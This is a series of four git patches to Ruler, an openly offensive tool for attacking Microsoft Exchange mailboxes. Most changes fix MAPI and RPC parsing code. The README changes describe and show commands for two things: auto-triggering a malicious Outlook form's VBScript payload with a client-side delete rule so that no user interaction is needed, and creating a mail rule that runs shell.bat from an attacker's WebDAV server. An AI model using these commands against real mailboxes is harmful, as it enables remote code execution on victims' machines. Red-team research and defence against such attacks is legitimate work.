From daa6771846a8fcae8e19f11765a5cd9c1e5b43f7 Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Wed, 3 May 2017 16:11:10 +0100 Subject: [PATCH 1/4] update README with new flag and credits to @monoxgas --- README.md | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/README.md b/README.md index 92e3682..39852dd 100644 --- a/README.md +++ b/README.md @@ -348,6 +348,18 @@ Deleting an existing is done in a similar way to deleting rules. ./ruler --email john@msf.com form delete --suffix superduper ``` +### Trigger Form with a Rule + +Nick Landers ([@monoxgas]) found that a form without event triggers, would call the VBScript payload on delete. This delete can be automated by creating a client-side rule to delete the message as it arrives in the mailbox. + +This is a great way to auto-trigger the form, without requiring any user interaction. Ruler can automate this for you if you supply the ```--rule``` flag: + +``` +./ruler --email john@msf.com form add --suffix superduper --input /tmp/command.txt --rule --send +``` + +You will need to delete the newly created rule once your payload has triggered. This can be done using the delete command outlined [above]. + # Attacking Exchange The library included with Ruler allows for the creation of custom message using MAPI. This along with the Exchnage documentation is a great starting point for new research. For an example of using this library in another project, see [SensePost Liniaal]. @@ -359,3 +371,5 @@ The library included with Ruler allows for the creation of custom message using [Ruler on YouTube]: [Releases]: [SensePost Liniaal]: +[@monoxgas]: +[above]: From d2286b607294f40c26406b2e8879f1f99da6a469 Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Thu, 4 May 2017 11:53:08 +0100 Subject: [PATCH 2/4] fixed the InputHandleIndex for 'GetTableContents'. This is 0x03 and not 0x01 --- forms/rulerforms.go | 7 ++++--- mapi/mapi.go | 19 ++++++++++--------- rpc-http/rpctransport.go | 30 +++++++++++++++++++----------- 3 files changed, 33 insertions(+), 23 deletions(-) diff --git a/forms/rulerforms.go b/forms/rulerforms.go index 4492c11..0896d10 100644 --- a/forms/rulerforms.go +++ b/forms/rulerforms.go @@ -219,8 +219,8 @@ func DeleteForm(suffix string, folderid []byte) ([]byte, error) { func DisplayForms(folderid []byte) error { columns := make([]mapi.PropertyTag, 2) - columns[0] = mapi.PidTagOfflineAddressBookName - columns[1] = mapi.PidTagMid + columns[0] = mapi.PidTagMid + columns[1] = mapi.PidTagOfflineAddressBookName assoctable, err := mapi.GetAssociatedContents(folderid, columns) if err != nil { @@ -229,7 +229,8 @@ func DisplayForms(folderid []byte) error { var forms []string for k := 0; k < len(assoctable.RowData); k++ { - name := utils.FromUnicode(assoctable.RowData[k][0].ValueArray) + utils.Debug.Println(assoctable.RowData[k][1].ValueArray) + name := utils.FromUnicode(assoctable.RowData[k][1].ValueArray) if name != "" && len(name) > 3 { if byte(name[0]) != 0x0a { forms = append(forms, name) diff --git a/mapi/mapi.go b/mapi/mapi.go index 2c7242c..2e63b93 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -2027,6 +2027,7 @@ func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQ var contentsTable *RopGetContentsTableResponse var svrhndl []byte var err error + var inputHndl uint8 = 0x03 if assoc == false { contentsTable, svrhndl, err = GetContentsTable(folderid) } else { @@ -2040,8 +2041,8 @@ func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQ execRequest.Init() setColumns := RopSetColumnsRequest{RopID: 0x12, LogonID: AuthSession.LogonID, SetColumnFlags: 0x00} - setColumns.InputHandle = 0x01 - setColumns.PropertyTagCount = 2 //uint16(len(columns)) + setColumns.InputHandle = inputHndl + setColumns.PropertyTagCount = uint16(len(columns)) setColumns.PropertyTags = make([]PropertyTag, setColumns.PropertyTagCount) for k, v := range columns { setColumns.PropertyTags[k] = v @@ -2049,10 +2050,10 @@ func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQ fullReq := setColumns.Marshal() - queryRows := RopQueryRowsRequest{RopID: 0x15, LogonID: AuthSession.LogonID, InputHandle: 0x01, QueryRowsFlags: 0x00, ForwardRead: 0x01, RowCount: uint16(contentsTable.RowCount)} + queryRows := RopQueryRowsRequest{RopID: 0x15, LogonID: AuthSession.LogonID, InputHandle: inputHndl, QueryRowsFlags: 0x00, ForwardRead: 0x01, RowCount: uint16(contentsTable.RowCount)} fullReq = append(fullReq, queryRows.Marshal()...) - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: inputHndl} fullReq = append(fullReq, ropRelease.Marshal()...) execRequest.RopBuffer.ROP.RopsList = fullReq @@ -2068,19 +2069,19 @@ func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQ bufPtr := 10 var p int var e error - utils.Info.Println(execResponse) + setColumnsResp := RopSetColumnsResponse{} if p, e = setColumnsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { return nil, e } bufPtr += p - utils.Info.Println("Display") + rows := RopQueryRowsResponse{} if _, e = rows.Unmarshal(execResponse.RopBuffer[bufPtr:], setColumns.PropertyTags); e != nil { return nil, e } - utils.Info.Println("Display") + return &rows, nil } @@ -2170,12 +2171,12 @@ func ExecuteDeleteRuleAdd(rulename, triggerword string) (*ExecuteResponse, error execRequest.RopBuffer.ROP.RopsList = ruleBytes execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x01, 0x00, 0x00, AuthSession.LogonID} //append(AuthSession.RulesHandle, []byte{0xFF, 0xFF, 0xFF, 0xFF}...) - execResponse, err := sendMapiRequest(execRequest) + _, err := sendMapiRequest(execRequest) if err != nil { return nil, &TransportError{err} } - utils.Trace.Println(execResponse) + //utils.Trace.Println(execResponse) return nil, err //return nil, ErrUnknown diff --git a/rpc-http/rpctransport.go b/rpc-http/rpctransport.go index e1ab332..4e2eb02 100644 --- a/rpc-http/rpctransport.go +++ b/rpc-http/rpctransport.go @@ -65,8 +65,8 @@ func setupHTTP(rpctype string, URL string, ntlmAuth bool, full bool) (net.Conn, } var authenticate *ntlm.AuthenticateMessage - if ntlmAuth == true { + //we should probably extract the NTLM type from the server response and use appropriate session, err := ntlm.CreateClientSession(ntlm.Version2, ntlm.ConnectionlessMode) b, _ := session.GenerateNegotiateMessage() @@ -180,11 +180,16 @@ func RPCOpen(URL string, readySignal chan bool, errOccurred chan error) (err err go RPCOpenOut(URL, readySignal, errOccurred) select { - case <-readySignal: - readySignal <- false - errOccurred <- err - return err - case <-time.After(time.Second * 20): // call timed out + case c := <-readySignal: + if c == true { + //utils.Warning.Println("Got ready!") + readySignal <- true + } else { + readySignal <- false + return err + } + case <-time.After(time.Second * 10): // call timed out + //utils.Warning.Println("Got timedou!") readySignal <- true } @@ -205,7 +210,7 @@ func RPCOpen(URL string, readySignal chan bool, errOccurred chan error) (err err //RPCOpenOut function opens the RPC_OUT_DATA channel //starts our listening "loop" which scans for new responses and pushes //these to our list of recieved responses -func RPCOpenOut(URL string, readySignal chan bool, errOccurred chan error) (err error) { +func RPCOpenOut(URL string, readySignal chan<- bool, errOccurred chan<- error) (err error) { rpcOutConn, err = setupHTTP("RPC_OUT_DATA", URL, AuthSession.RPCNtlm, true) if err != nil { @@ -228,6 +233,7 @@ func RPCOpenOut(URL string, readySignal chan bool, errOccurred chan error) (err responses = append(responses, r) } } + return nil } @@ -290,7 +296,6 @@ func RPCBind() error { } err = rpcntlmsession.ProcessChallengeMessage(challenge) if err != nil { - return fmt.Errorf("Bad Process Challenge %s", err) } @@ -343,6 +348,9 @@ func EcDoRPCExt2(MAPI []byte, auxLen uint32) ([]byte, error) { return resp.PDU[28:], err } +//EcDoRPCAbk makes a request for NSPI addressbook +//Not fully implemented +//TODO: complete this func EcDoRPCAbk(MAPI []byte, l int) ([]byte, error) { RPCWriteN(MAPI, uint32(l), 0x03) //RPCWrite(req.Marshal()) @@ -559,10 +567,10 @@ func SplitData(data []byte, atEOF bool) (advance int, token []byte, err error) { if data[0] == 0x05 { //we have an RPC packet start, rather than a fragmented packet if len(data) < 10 { //get packet length, if possible return 0, nil, nil //don't have enough packet start again - } else { - p, _ := utils.ReadUint16(8, data) - end = int(p) } + p, _ := utils.ReadUint16(8, data) + end = int(p) + if len(data) != end { return 0, nil, nil } From 4207f3eb4604b6253423e749777e8355c8450674 Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Thu, 4 May 2017 14:20:25 +0100 Subject: [PATCH 3/4] fixed parsing of row data. check if flag is set on row or not. and treat accordingly. --- forms/rulerforms.go | 16 +++++++++++----- mapi/datastructs.go | 14 ++++++++++++-- mapi/mapi.go | 9 ++++++++- utils/utils.go | 4 ++-- 4 files changed, 33 insertions(+), 10 deletions(-) diff --git a/forms/rulerforms.go b/forms/rulerforms.go index 0896d10..e8f1941 100644 --- a/forms/rulerforms.go +++ b/forms/rulerforms.go @@ -186,7 +186,7 @@ func CreateFormTriggerMessage(suffix, subject, body string) ([]byte, error) { //DeleteForm is used to delete a specific form stored in an associated table func DeleteForm(suffix string, folderid []byte) ([]byte, error) { - columns := make([]mapi.PropertyTag, 1) + columns := make([]mapi.PropertyTag, 2) columns[0] = mapi.PidTagOfflineAddressBookName columns[1] = mapi.PidTagMid @@ -196,6 +196,9 @@ func DeleteForm(suffix string, folderid []byte) ([]byte, error) { } var foundMsgID []byte for k := 0; k < len(assoctable.RowData); k++ { + if assoctable.RowData[k][0].Flag != 0x00 { + continue + } name := utils.FromUnicode(assoctable.RowData[k][0].ValueArray) messageid := assoctable.RowData[k][1].ValueArray if name != "" && name == fmt.Sprintf("IPM.Note.%s", suffix) { @@ -219,8 +222,8 @@ func DeleteForm(suffix string, folderid []byte) ([]byte, error) { func DisplayForms(folderid []byte) error { columns := make([]mapi.PropertyTag, 2) - columns[0] = mapi.PidTagMid - columns[1] = mapi.PidTagOfflineAddressBookName + columns[0] = mapi.PidTagOfflineAddressBookName + columns[1] = mapi.PidTagMid assoctable, err := mapi.GetAssociatedContents(folderid, columns) if err != nil { @@ -229,8 +232,11 @@ func DisplayForms(folderid []byte) error { var forms []string for k := 0; k < len(assoctable.RowData); k++ { - utils.Debug.Println(assoctable.RowData[k][1].ValueArray) - name := utils.FromUnicode(assoctable.RowData[k][1].ValueArray) + if assoctable.RowData[k][0].Flag != 0x00 { + continue + } + //utils.Debug.Println(assoctable.RowData[k][0].ValueArray) + name := utils.FromUnicode(assoctable.RowData[k][0].ValueArray) if name != "" && len(name) > 3 { if byte(name[0]) != 0x0a { forms = append(forms, name) diff --git a/mapi/datastructs.go b/mapi/datastructs.go index 23e2f2a..0947bda 100644 --- a/mapi/datastructs.go +++ b/mapi/datastructs.go @@ -1425,6 +1425,7 @@ func (execRequest *ExecuteRequest) Init() { //Unmarshal func func (queryRows *RopQueryRowsResponse) Unmarshal(resp []byte, properties []PropertyTag) (int, error) { pos := 0 + var flag byte queryRows.RopID, pos = utils.ReadByte(pos, resp) queryRows.InputHandle, pos = utils.ReadByte(pos, resp) queryRows.ReturnValue, pos = utils.ReadUint32(pos, resp) @@ -1435,12 +1436,21 @@ func (queryRows *RopQueryRowsResponse) Unmarshal(resp []byte, properties []Prope queryRows.RowCount, pos = utils.ReadUint16(pos, resp) rows := make([][]PropertyRow, queryRows.RowCount) + //check if flagged properties for k := 0; k < int(queryRows.RowCount); k++ { trow := PropertyRow{} - trow.Flag, pos = utils.ReadByte(pos, resp) + //check if has flag (is flaggedpropertyrow) + flag, pos = utils.ReadByte(pos, resp) for _, property := range properties { - if property.PropertyType == PtypInteger32 { + + if flag == 0x01 { + trow.Flag, pos = utils.ReadByte(pos, resp) + } + if trow.Flag != 0x00 { + trow.ValueArray, pos = utils.ReadBytes(pos, 4, resp) + rows[k] = append(rows[k], trow) + } else if property.PropertyType == PtypInteger32 { trow.ValueArray, pos = utils.ReadBytes(pos, 2, resp) rows[k] = append(rows[k], trow) } else if property.PropertyType == PtypInteger64 { diff --git a/mapi/mapi.go b/mapi/mapi.go index 2e63b93..30951b5 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -2326,6 +2326,7 @@ func DecodeRulesResponse(resp []byte, properties []PropertyTag) ([]Rule, []byte, } rows := RopQueryRowsResponse{} + tpos, err = rows.Unmarshal(resp[pos:], properties) if err != nil { return nil, nil, err @@ -2351,9 +2352,15 @@ func DecodeBufferToRows(buff []byte, cols []PropertyTag) []PropertyRow { var pos = 0 var rows []PropertyRow + var flag byte + fmt.Println(buff) for _, property := range cols { trow := PropertyRow{} - if property.PropertyType == PtypInteger32 { + flag, pos = utils.ReadByte(pos, buff) + if flag != 0x00 { + trow.ValueArray, pos = utils.ReadBytes(pos, 5, buff) + rows = append(rows, trow) + } else if property.PropertyType == PtypInteger32 { trow.ValueArray, pos = utils.ReadBytes(pos, 2, buff) rows = append(rows, trow) } else if property.PropertyType == PtypString { diff --git a/utils/utils.go b/utils/utils.go index 24ef37d..8aab60d 100644 --- a/utils/utils.go +++ b/utils/utils.go @@ -214,9 +214,9 @@ func ReadByte(pos int, buff []byte) (byte, int) { func ReadUnicodeString(pos int, buff []byte) ([]byte, int) { //stupid hack as using bufio and ReadString(byte) would terminate too early //would terminate on 0x00 instead of 0x0000 - index := bytes.Index(buff[pos:], []byte{0x00, 0x00, 0x00}) + 1 + index := bytes.Index(buff[pos:], []byte{0x00, 0x00}) str := buff[pos : pos+index] - return []byte(str), pos + index + 1 + return []byte(str), pos + index + 2 } //ReadASCIIString returns a string as ascii From 600a4bf5ee9823d140a72560d1151224d09c4795 Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Thu, 4 May 2017 14:24:51 +0100 Subject: [PATCH 4/4] add formsdeletemplate.bin to the README --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 39852dd..dffbcdc 100644 --- a/README.md +++ b/README.md @@ -238,7 +238,7 @@ go run webdavserv.go -d /path/to/directory/to/serve To create the new rule user Ruler and: ``` -./ruler --email user@targetdomain.com --username username add --location "\\\\yourserver\\webdav\\shell.bat" --trigger "pop a shell" --name maliciousrule +./ruler --email user@targetdomain.com --username username add --location "\\\\yourserver\\webdav\\shell.bat" --trigger "popashell" --name maliciousrule ``` The various parts: @@ -319,6 +319,7 @@ If you use the forms attack, you need to ensure that the **templates** folder is * img0.bin * img1.bin * formstemplate.bin +* formsdeletetemplate.bin ## Using forms